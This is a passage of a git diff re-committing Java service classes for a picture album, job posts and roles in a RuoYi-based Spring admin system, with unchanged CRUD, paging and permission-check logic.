b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysPictureServiceImpl.java @@ -1,160 +1,160 @@ -package org.dromara.system.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.SysPicture; -import org.dromara.system.domain.bo.SysPictureBo; -import org.dromara.system.domain.vo.SysPictureVo; -import org.dromara.system.mapper.SysPictureMapper; -import org.dromara.system.service.ISysPictureService; -import org.springframework.stereotype.Service; - -import java.util.Arrays; -import java.util.Collection; -import java.util.List; -import java.util.Map; -import java.util.stream.Collectors; - -/** - * 画册Service业务层处理 - * - * @author Maosw - * @date 2025-02-26 - */ -@RequiredArgsConstructor -@Service -public class SysPictureServiceImpl implements ISysPictureService { - - private final SysPictureMapper baseMapper; - - /** - * 查询画册 - * - * @param id 主键 - * @return 画册 - */ - @Override - public SysPictureVo queryById(Long id){ - // 使用 LambdaUpdateWrapper 直接更新浏览量 - baseMapper.update(null, Wrappers.lambdaUpdate() - .setIncrBy(SysPicture::getNum, 1) - .eq(SysPicture::getId, id)); - return baseMapper.selectVoById(id); - } - - /** - * 分页查询画册列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 画册分页列表 - */ - @Override - public TableDataInfo queryPageList(SysPictureBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 分页查询画册列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - */ - @Override - public TableDataInfo selectPageList(SysPictureBo bo, PageQuery pageQuery) { - bo.setStatus(1L); - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的画册列表 - * - * @param bo 查询条件 - * @return 画册列表 - */ - @Override - public List queryList(SysPictureBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(SysPictureBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getType() != null, SysPicture::getType, bo.getType()); - lqw.eq(bo.getUserId() != null, SysPicture::getUserId, bo.getUserId()); - lqw.eq(bo.getWork() != null, SysPicture::getWork, bo.getWork()); - lqw.eq(bo.getTenant() != null, SysPicture::getTenant, bo.getTenant()); - lqw.like(StringUtils.isNotBlank(bo.getTitle()), SysPicture::getTitle, bo.getTitle()); - lqw.like(StringUtils.isNotBlank(bo.getWorkName()), SysPicture::getWorkName, bo.getWorkName()); - lqw.eq(bo.getStatus() != null, SysPicture::getStatus, bo.getStatus()); - lqw.eq(bo.getSort() != null, SysPicture::getSort, bo.getSort()); - lqw.in(bo.getFlags() != null, SysPicture::getFlag, Arrays.asList(bo.getFlags().split(","))); - lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, - SysPicture::getCreateTime ,params.get("beginCreateTime"), params.get("endCreateTime")); - lqw.orderByDesc(SysPicture::getCreateTime, SysPicture::getSort); - return lqw; - } - - /** - * 新增画册 - * - * @param bo 画册 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(SysPictureBo bo) { - SysPicture add = MapstructUtils.convert(bo, SysPicture.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改画册 - * - * @param bo 画册 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(SysPictureBo bo) { - SysPicture update = MapstructUtils.convert(bo, SysPicture.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(SysPicture entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除画册信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.system.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.SysPicture; +import org.dromara.system.domain.bo.SysPictureBo; +import org.dromara.system.domain.vo.SysPictureVo; +import org.dromara.system.mapper.SysPictureMapper; +import org.dromara.system.service.ISysPictureService; +import org.springframework.stereotype.Service; + +import java.util.Arrays; +import java.util.Collection; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +/** + * 画册Service业务层处理 + * + * @author Maosw + * @date 2025-02-26 + */ +@RequiredArgsConstructor +@Service +public class SysPictureServiceImpl implements ISysPictureService { + + private final SysPictureMapper baseMapper; + + /** + * 查询画册 + * + * @param id 主键 + * @return 画册 + */ + @Override + public SysPictureVo queryById(Long id){ + // 使用 LambdaUpdateWrapper 直接更新浏览量 + baseMapper.update(null, Wrappers.lambdaUpdate() + .setIncrBy(SysPicture::getNum, 1) + .eq(SysPicture::getId, id)); + return baseMapper.selectVoById(id); + } + + /** + * 分页查询画册列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 画册分页列表 + */ + @Override + public TableDataInfo queryPageList(SysPictureBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 分页查询画册列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + */ + @Override + public TableDataInfo selectPageList(SysPictureBo bo, PageQuery pageQuery) { + bo.setStatus(1L); + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的画册列表 + * + * @param bo 查询条件 + * @return 画册列表 + */ + @Override + public List queryList(SysPictureBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(SysPictureBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(bo.getType() != null, SysPicture::getType, bo.getType()); + lqw.eq(bo.getUserId() != null, SysPicture::getUserId, bo.getUserId()); + lqw.eq(bo.getWork() != null, SysPicture::getWork, bo.getWork()); + lqw.eq(bo.getTenant() != null, SysPicture::getTenant, bo.getTenant()); + lqw.like(StringUtils.isNotBlank(bo.getTitle()), SysPicture::getTitle, bo.getTitle()); + lqw.like(StringUtils.isNotBlank(bo.getWorkName()), SysPicture::getWorkName, bo.getWorkName()); + lqw.eq(bo.getStatus() != null, SysPicture::getStatus, bo.getStatus()); + lqw.eq(bo.getSort() != null, SysPicture::getSort, bo.getSort()); + lqw.in(bo.getFlags() != null, SysPicture::getFlag, Arrays.asList(bo.getFlags().split(","))); + lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, + SysPicture::getCreateTime ,params.get("beginCreateTime"), params.get("endCreateTime")); + lqw.orderByDesc(SysPicture::getCreateTime, SysPicture::getSort); + return lqw; + } + + /** + * 新增画册 + * + * @param bo 画册 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(SysPictureBo bo) { + SysPicture add = MapstructUtils.convert(bo, SysPicture.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改画册 + * + * @param bo 画册 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(SysPictureBo bo) { + SysPicture update = MapstructUtils.convert(bo, SysPicture.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(SysPicture entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除画册信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysPostServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysPostServiceImpl.java index 8643f0d..0e766a2 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysPostServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysPostServiceImpl.java @@ -1,236 +1,236 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.SysDept; -import org.dromara.system.domain.SysPost; -import org.dromara.system.domain.SysUserPost; -import org.dromara.system.domain.bo.SysPostBo; -import org.dromara.system.domain.vo.SysPostVo; -import org.dromara.system.mapper.SysDeptMapper; -import org.dromara.system.mapper.SysPostMapper; -import org.dromara.system.mapper.SysUserPostMapper; -import org.dromara.system.service.ISysPostService; -import org.springframework.stereotype.Service; - -import java.util.Arrays; -import java.util.List; - -/** - * 岗位信息 服务层处理 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Service -public class SysPostServiceImpl implements ISysPostService { - - private final SysPostMapper baseMapper; - private final SysDeptMapper deptMapper; - private final SysUserPostMapper userPostMapper; - - @Override - public TableDataInfo selectPagePostList(SysPostBo post, PageQuery pageQuery) { - Page page = baseMapper.selectPagePostList(pageQuery.build(), buildQueryWrapper(post)); - return TableDataInfo.build(page); - } - - /** - * 查询岗位信息集合 - * - * @param post 岗位信息 - * @return 岗位信息集合 - */ - @Override - public List selectPostList(SysPostBo post) { - return baseMapper.selectVoList(buildQueryWrapper(post)); - } - - /** - * 根据查询条件构建查询包装器 - * - * @param bo 查询条件对象 - * @return 构建好的查询包装器 - */ - private LambdaQueryWrapper buildQueryWrapper(SysPostBo bo) { - LambdaQueryWrapper wrapper = new LambdaQueryWrapper<>(); - wrapper.like(StringUtils.isNotBlank(bo.getPostCode()), SysPost::getPostCode, bo.getPostCode()) - .like(StringUtils.isNotBlank(bo.getPostCategory()), SysPost::getPostCategory, bo.getPostCategory()) - .like(StringUtils.isNotBlank(bo.getPostName()), SysPost::getPostName, bo.getPostName()) - .eq(StringUtils.isNotBlank(bo.getStatus()), SysPost::getStatus, bo.getStatus()) - .orderByAsc(SysPost::getPostSort); - if (ObjectUtil.isNotNull(bo.getDeptId())) { - //优先单部门搜索 - wrapper.eq(SysPost::getDeptId, bo.getDeptId()); - } else if (ObjectUtil.isNotNull(bo.getBelongDeptId())) { - //部门树搜索 - wrapper.and(x -> { - List deptList = deptMapper.selectListByParentId(bo.getBelongDeptId()); - List deptIds = StreamUtils.toList(deptList, SysDept::getDeptId); - deptIds.add(bo.getBelongDeptId()); - x.in(SysPost::getDeptId, deptIds); - }); - } - return wrapper; - } - - /** - * 查询所有岗位 - * - * @return 岗位列表 - */ - @Override - public List selectPostAll() { - return baseMapper.selectVoList(new QueryWrapper<>()); - } - - /** - * 通过岗位ID查询岗位信息 - * - * @param postId 岗位ID - * @return 角色对象信息 - */ - @Override - public SysPostVo selectPostById(Long postId) { - return baseMapper.selectVoById(postId); - } - - /** - * 根据用户ID获取岗位选择框列表 - * - * @param userId 用户ID - * @return 选中岗位ID列表 - */ - @Override - public List selectPostListByUserId(Long userId) { - List list = baseMapper.selectPostsByUserId(userId); - return StreamUtils.toList(list, SysPostVo::getPostId); - } - - /** - * 通过岗位ID串查询岗位 - * - * @param postIds 岗位id串 - * @return 岗位列表信息 - */ - @Override - public List selectPostByIds(List postIds) { - return baseMapper.selectVoList(new LambdaQueryWrapper() - .select(SysPost::getPostId, SysPost::getPostName, SysPost::getPostCode) - .eq(SysPost::getStatus, SystemConstants.NORMAL) - .in(CollUtil.isNotEmpty(postIds), SysPost::getPostId, postIds)); - } - - /** - * 校验岗位名称是否唯一 - * - * @param post 岗位信息 - * @return 结果 - */ - @Override - public boolean checkPostNameUnique(SysPostBo post) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper() - .eq(SysPost::getPostName, post.getPostName()) - .ne(ObjectUtil.isNotNull(post.getPostId()), SysPost::getPostId, post.getPostId())); - return !exist; - } - - /** - * 校验岗位编码是否唯一 - * - * @param post 岗位信息 - * @return 结果 - */ - @Override - public boolean checkPostCodeUnique(SysPostBo post) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper() - .eq(SysPost::getPostCode, post.getPostCode()) - .ne(ObjectUtil.isNotNull(post.getPostId()), SysPost::getPostId, post.getPostId())); - return !exist; - } - - /** - * 通过岗位ID查询岗位使用数量 - * - * @param postId 岗位ID - * @return 结果 - */ - @Override - public long countUserPostById(Long postId) { - return userPostMapper.selectCount(new LambdaQueryWrapper().eq(SysUserPost::getPostId, postId)); - } - - /** - * 通过部门ID查询岗位使用数量 - * - * @param deptId 部门id - * @return 结果 - */ - @Override - public long countPostByDeptId(Long deptId) { - return baseMapper.selectCount(new LambdaQueryWrapper().eq(SysPost::getDeptId, deptId)); - } - - /** - * 删除岗位信息 - * - * @param postId 岗位ID - * @return 结果 - */ - @Override - public int deletePostById(Long postId) { - return baseMapper.deleteById(postId); - } - - /** - * 批量删除岗位信息 - * - * @param postIds 需要删除的岗位ID - * @return 结果 - */ - @Override - public int deletePostByIds(Long[] postIds) { - for (Long postId : postIds) { - SysPost post = baseMapper.selectById(postId); - if (countUserPostById(postId) > 0) { - throw new ServiceException(String.format("%1$s已分配,不能删除!", post.getPostName())); - } - } - return baseMapper.deleteByIds(Arrays.asList(postIds)); - } - - /** - * 新增保存岗位信息 - * - * @param bo 岗位信息 - * @return 结果 - */ - @Override - public int insertPost(SysPostBo bo) { - SysPost post = MapstructUtils.convert(bo, SysPost.class); - return baseMapper.insert(post); - } - - /** - * 修改保存岗位信息 - * - * @param bo 岗位信息 - * @return 结果 - */ - @Override - public int updatePost(SysPostBo bo) { - SysPost post = MapstructUtils.convert(bo, SysPost.class); - return baseMapper.updateById(post); - } -} +package org.dromara.system.service.impl; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.SysDept; +import org.dromara.system.domain.SysPost; +import org.dromara.system.domain.SysUserPost; +import org.dromara.system.domain.bo.SysPostBo; +import org.dromara.system.domain.vo.SysPostVo; +import org.dromara.system.mapper.SysDeptMapper; +import org.dromara.system.mapper.SysPostMapper; +import org.dromara.system.mapper.SysUserPostMapper; +import org.dromara.system.service.ISysPostService; +import org.springframework.stereotype.Service; + +import java.util.Arrays; +import java.util.List; + +/** + * 岗位信息 服务层处理 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Service +public class SysPostServiceImpl implements ISysPostService { + + private final SysPostMapper baseMapper; + private final SysDeptMapper deptMapper; + private final SysUserPostMapper userPostMapper; + + @Override + public TableDataInfo selectPagePostList(SysPostBo post, PageQuery pageQuery) { + Page page = baseMapper.selectPagePostList(pageQuery.build(), buildQueryWrapper(post)); + return TableDataInfo.build(page); + } + + /** + * 查询岗位信息集合 + * + * @param post 岗位信息 + * @return 岗位信息集合 + */ + @Override + public List selectPostList(SysPostBo post) { + return baseMapper.selectVoList(buildQueryWrapper(post)); + } + + /** + * 根据查询条件构建查询包装器 + * + * @param bo 查询条件对象 + * @return 构建好的查询包装器 + */ + private LambdaQueryWrapper buildQueryWrapper(SysPostBo bo) { + LambdaQueryWrapper wrapper = new LambdaQueryWrapper<>(); + wrapper.like(StringUtils.isNotBlank(bo.getPostCode()), SysPost::getPostCode, bo.getPostCode()) + .like(StringUtils.isNotBlank(bo.getPostCategory()), SysPost::getPostCategory, bo.getPostCategory()) + .like(StringUtils.isNotBlank(bo.getPostName()), SysPost::getPostName, bo.getPostName()) + .eq(StringUtils.isNotBlank(bo.getStatus()), SysPost::getStatus, bo.getStatus()) + .orderByAsc(SysPost::getPostSort); + if (ObjectUtil.isNotNull(bo.getDeptId())) { + //优先单部门搜索 + wrapper.eq(SysPost::getDeptId, bo.getDeptId()); + } else if (ObjectUtil.isNotNull(bo.getBelongDeptId())) { + //部门树搜索 + wrapper.and(x -> { + List deptList = deptMapper.selectListByParentId(bo.getBelongDeptId()); + List deptIds = StreamUtils.toList(deptList, SysDept::getDeptId); + deptIds.add(bo.getBelongDeptId()); + x.in(SysPost::getDeptId, deptIds); + }); + } + return wrapper; + } + + /** + * 查询所有岗位 + * + * @return 岗位列表 + */ + @Override + public List selectPostAll() { + return baseMapper.selectVoList(new QueryWrapper<>()); + } + + /** + * 通过岗位ID查询岗位信息 + * + * @param postId 岗位ID + * @return 角色对象信息 + */ + @Override + public SysPostVo selectPostById(Long postId) { + return baseMapper.selectVoById(postId); + } + + /** + * 根据用户ID获取岗位选择框列表 + * + * @param userId 用户ID + * @return 选中岗位ID列表 + */ + @Override + public List selectPostListByUserId(Long userId) { + List list = baseMapper.selectPostsByUserId(userId); + return StreamUtils.toList(list, SysPostVo::getPostId); + } + + /** + * 通过岗位ID串查询岗位 + * + * @param postIds 岗位id串 + * @return 岗位列表信息 + */ + @Override + public List selectPostByIds(List postIds) { + return baseMapper.selectVoList(new LambdaQueryWrapper() + .select(SysPost::getPostId, SysPost::getPostName, SysPost::getPostCode) + .eq(SysPost::getStatus, SystemConstants.NORMAL) + .in(CollUtil.isNotEmpty(postIds), SysPost::getPostId, postIds)); + } + + /** + * 校验岗位名称是否唯一 + * + * @param post 岗位信息 + * @return 结果 + */ + @Override + public boolean checkPostNameUnique(SysPostBo post) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper() + .eq(SysPost::getPostName, post.getPostName()) + .ne(ObjectUtil.isNotNull(post.getPostId()), SysPost::getPostId, post.getPostId())); + return !exist; + } + + /** + * 校验岗位编码是否唯一 + * + * @param post 岗位信息 + * @return 结果 + */ + @Override + public boolean checkPostCodeUnique(SysPostBo post) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper() + .eq(SysPost::getPostCode, post.getPostCode()) + .ne(ObjectUtil.isNotNull(post.getPostId()), SysPost::getPostId, post.getPostId())); + return !exist; + } + + /** + * 通过岗位ID查询岗位使用数量 + * + * @param postId 岗位ID + * @return 结果 + */ + @Override + public long countUserPostById(Long postId) { + return userPostMapper.selectCount(new LambdaQueryWrapper().eq(SysUserPost::getPostId, postId)); + } + + /** + * 通过部门ID查询岗位使用数量 + * + * @param deptId 部门id + * @return 结果 + */ + @Override + public long countPostByDeptId(Long deptId) { + return baseMapper.selectCount(new LambdaQueryWrapper().eq(SysPost::getDeptId, deptId)); + } + + /** + * 删除岗位信息 + * + * @param postId 岗位ID + * @return 结果 + */ + @Override + public int deletePostById(Long postId) { + return baseMapper.deleteById(postId); + } + + /** + * 批量删除岗位信息 + * + * @param postIds 需要删除的岗位ID + * @return 结果 + */ + @Override + public int deletePostByIds(Long[] postIds) { + for (Long postId : postIds) { + SysPost post = baseMapper.selectById(postId); + if (countUserPostById(postId) > 0) { + throw new ServiceException(String.format("%1$s已分配,不能删除!", post.getPostName())); + } + } + return baseMapper.deleteByIds(Arrays.asList(postIds)); + } + + /** + * 新增保存岗位信息 + * + * @param bo 岗位信息 + * @return 结果 + */ + @Override + public int insertPost(SysPostBo bo) { + SysPost post = MapstructUtils.convert(bo, SysPost.class); + return baseMapper.insert(post); + } + + /** + * 修改保存岗位信息 + * + * @param bo 岗位信息 + * @return 结果 + */ + @Override + public int updatePost(SysPostBo bo) { + SysPost post = MapstructUtils.convert(bo, SysPost.class); + return baseMapper.updateById(post); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysRoleServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysRoleServiceImpl.java index 55d3e93..4345b93 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysRoleServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysRoleServiceImpl.java @@ -1,558 +1,558 @@ -package org.dromara.system.service.impl; - -import cn.dev33.satoken.exception.NotLoginException; -import cn.dev33.satoken.stp.StpUtil; -import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.Wrapper; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.constant.TenantConstants; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.SysRole; -import org.dromara.system.domain.SysRoleDept; -import org.dromara.system.domain.SysRoleMenu; -import org.dromara.system.domain.SysUserRole; -import org.dromara.system.domain.bo.SysRoleBo; -import org.dromara.system.domain.vo.SysRoleVo; -import org.dromara.system.mapper.SysRoleDeptMapper; -import org.dromara.system.mapper.SysRoleMapper; -import org.dromara.system.mapper.SysRoleMenuMapper; -import org.dromara.system.mapper.SysUserRoleMapper; -import org.dromara.system.service.ISysRoleService; -import org.springframework.cache.annotation.CacheEvict; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.*; - -/** - * 角色 业务层处理 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Service -public class SysRoleServiceImpl implements ISysRoleService { - - private final SysRoleMapper baseMapper; - private final SysRoleMenuMapper roleMenuMapper; - private final SysUserRoleMapper userRoleMapper; - private final SysRoleDeptMapper roleDeptMapper; - - @Override - public TableDataInfo selectPageRoleList(SysRoleBo role, PageQuery pageQuery) { - Page page = baseMapper.selectPageRoleList(pageQuery.build(), this.buildQueryWrapper(role)); - return TableDataInfo.build(page); - } - - /** - * 根据条件分页查询角色数据 - * - * @param role 角色信息 - * @return 角色数据集合信息 - */ - @Override - public List selectRoleList(SysRoleBo role) { - return baseMapper.selectRoleList(this.buildQueryWrapper(role)); - } - - private Wrapper buildQueryWrapper(SysRoleBo bo) { - Map params = bo.getParams(); - QueryWrapper wrapper = Wrappers.query(); - wrapper.eq("r.del_flag", SystemConstants.NORMAL) - .eq(ObjectUtil.isNotNull(bo.getRoleId()), "r.role_id", bo.getRoleId()) - .like(StringUtils.isNotBlank(bo.getRoleName()), "r.role_name", bo.getRoleName()) - .eq(StringUtils.isNotBlank(bo.getStatus()), "r.status", bo.getStatus()) - .like(StringUtils.isNotBlank(bo.getRoleKey()), "r.role_key", bo.getRoleKey()) - .between(params.get("beginTime") != null && params.get("endTime") != null, - "r.create_time", params.get("beginTime"), params.get("endTime")) - .orderByAsc("r.role_sort").orderByAsc("r.create_time"); - return wrapper; - } - - /** - * 根据用户ID查询角色 - * - * @param userId 用户ID - * @return 角色列表 - */ - @Override - public List selectRolesByUserId(Long userId) { - return baseMapper.selectRolesByUserId(userId); - } - - /** - * 根据用户ID查询角色列表(包含被授权状态) - * - * @param userId 用户ID - * @return 角色列表 - */ - @Override - public List selectRolesAuthByUserId(Long userId) { - List userRoles = baseMapper.selectRolesByUserId(userId); - List roles = selectRoleAll(); - // 使用HashSet提高查找效率 - Set userRoleIds = StreamUtils.toSet(userRoles, SysRoleVo::getRoleId); - for (SysRoleVo role : roles) { - if (userRoleIds.contains(role.getRoleId())) { - role.setFlag(true); - } - } - return roles; - } - - /** - * 根据用户ID查询权限 - * - * @param userId 用户ID - * @return 权限列表 - */ - @Override - public Set selectRolePermissionByUserId(Long userId) { - List perms = baseMapper.selectRolesByUserId(userId); - Set permsSet = new HashSet<>(); - for (SysRoleVo perm : perms) { - if (ObjectUtil.isNotNull(perm)) { - permsSet.addAll(StringUtils.splitList(perm.getRoleKey().trim())); - } - } - return permsSet; - } - - /** - * 查询所有角色 - * - * @return 角色列表 - */ - @Override - public List selectRoleAll() { - return this.selectRoleList(new SysRoleBo()); - } - - /** - * 根据用户ID获取角色选择框列表 - * - * @param userId 用户ID - * @return 选中角色ID列表 - */ - @Override - public List selectRoleListByUserId(Long userId) { - List list = baseMapper.selectRolesByUserId(userId); - return StreamUtils.toList(list, SysRoleVo::getRoleId); - } - - /** - * 通过角色ID查询角色 - * - * @param roleId 角色ID - * @return 角色对象信息 - */ - @Override - public SysRoleVo selectRoleById(Long roleId) { - return baseMapper.selectRoleById(roleId); - } - - /** - * 通过角色ID串查询角色 - * - * @param roleIds 角色ID串 - * @return 角色列表信息 - */ - @Override - public List selectRoleByIds(List roleIds) { - return baseMapper.selectRoleList(new QueryWrapper() - .eq("r.status", SystemConstants.NORMAL) - .in(CollUtil.isNotEmpty(roleIds), "r.role_id", roleIds)); - } - - /** - * 校验角色名称是否唯一 - * - * @param role 角色信息 - * @return 结果 - */ - @Override - public boolean checkRoleNameUnique(SysRoleBo role) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper() - .eq(SysRole::getRoleName, role.getRoleName()) - .ne(ObjectUtil.isNotNull(role.getRoleId()), SysRole::getRoleId, role.getRoleId())); - return !exist; - } - - /** - * 校验角色权限是否唯一 - * - * @param role 角色信息 - * @return 结果 - */ - @Override - public boolean checkRoleKeyUnique(SysRoleBo role) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper() - .eq(SysRole::getRoleKey, role.getRoleKey()) - .ne(ObjectUtil.isNotNull(role.getRoleId()), SysRole::getRoleId, role.getRoleId())); - return !exist; - } - - /** - * 校验角色是否允许操作 - * - * @param role 角色信息 - */ - @Override - public void checkRoleAllowed(SysRoleBo role) { - if (ObjectUtil.isNotNull(role.getRoleId()) && LoginHelper.isSuperAdmin(role.getRoleId())) { - throw new ServiceException("不允许操作超级管理员角色"); - } - String[] keys = new String[]{TenantConstants.SUPER_ADMIN_ROLE_KEY, TenantConstants.TENANT_ADMIN_ROLE_KEY}; - // 新增不允许使用 管理员标识符 - if (ObjectUtil.isNull(role.getRoleId()) - && StringUtils.equalsAny(role.getRoleKey(), keys)) { - throw new ServiceException("不允许使用系统内置管理员角色标识符!"); - } - // 修改不允许修改 管理员标识符 - if (ObjectUtil.isNotNull(role.getRoleId())) { - SysRole sysRole = baseMapper.selectById(role.getRoleId()); - // 如果标识符不相等 判断为修改了管理员标识符 - if (!StringUtils.equals(sysRole.getRoleKey(), role.getRoleKey())) { - if (StringUtils.equalsAny(sysRole.getRoleKey(), keys)) { - throw new ServiceException("不允许修改系统内置管理员角色标识符!"); - } else if (StringUtils.equalsAny(role.getRoleKey(), keys)) { - throw new ServiceException("不允许使用系统内置管理员角色标识符!"); - } - } - } - } - - /** - * 校验角色是否有数据权限 - * - * @param roleId 角色id - */ - @Override - public void checkRoleDataScope(Long roleId) { - if (ObjectUtil.isNull(roleId)) { - return; - } - if (LoginHelper.isSuperAdmin()) { - return; - } - List roles = this.selectRoleList(new SysRoleBo(roleId)); - if (CollUtil.isEmpty(roles)) { - throw new ServiceException("没有权限访问角色数据!"); - } - - } - - /** - * 通过角色ID查询角色使用数量 - * - * @param roleId 角色ID - * @return 结果 - */ - @Override - public long countUserRoleByRoleId(Long roleId) { - return userRoleMapper.selectCount(new LambdaQueryWrapper().eq(SysUserRole::getRoleId, roleId)); - } - - /** - * 新增保存角色信息 - * - * 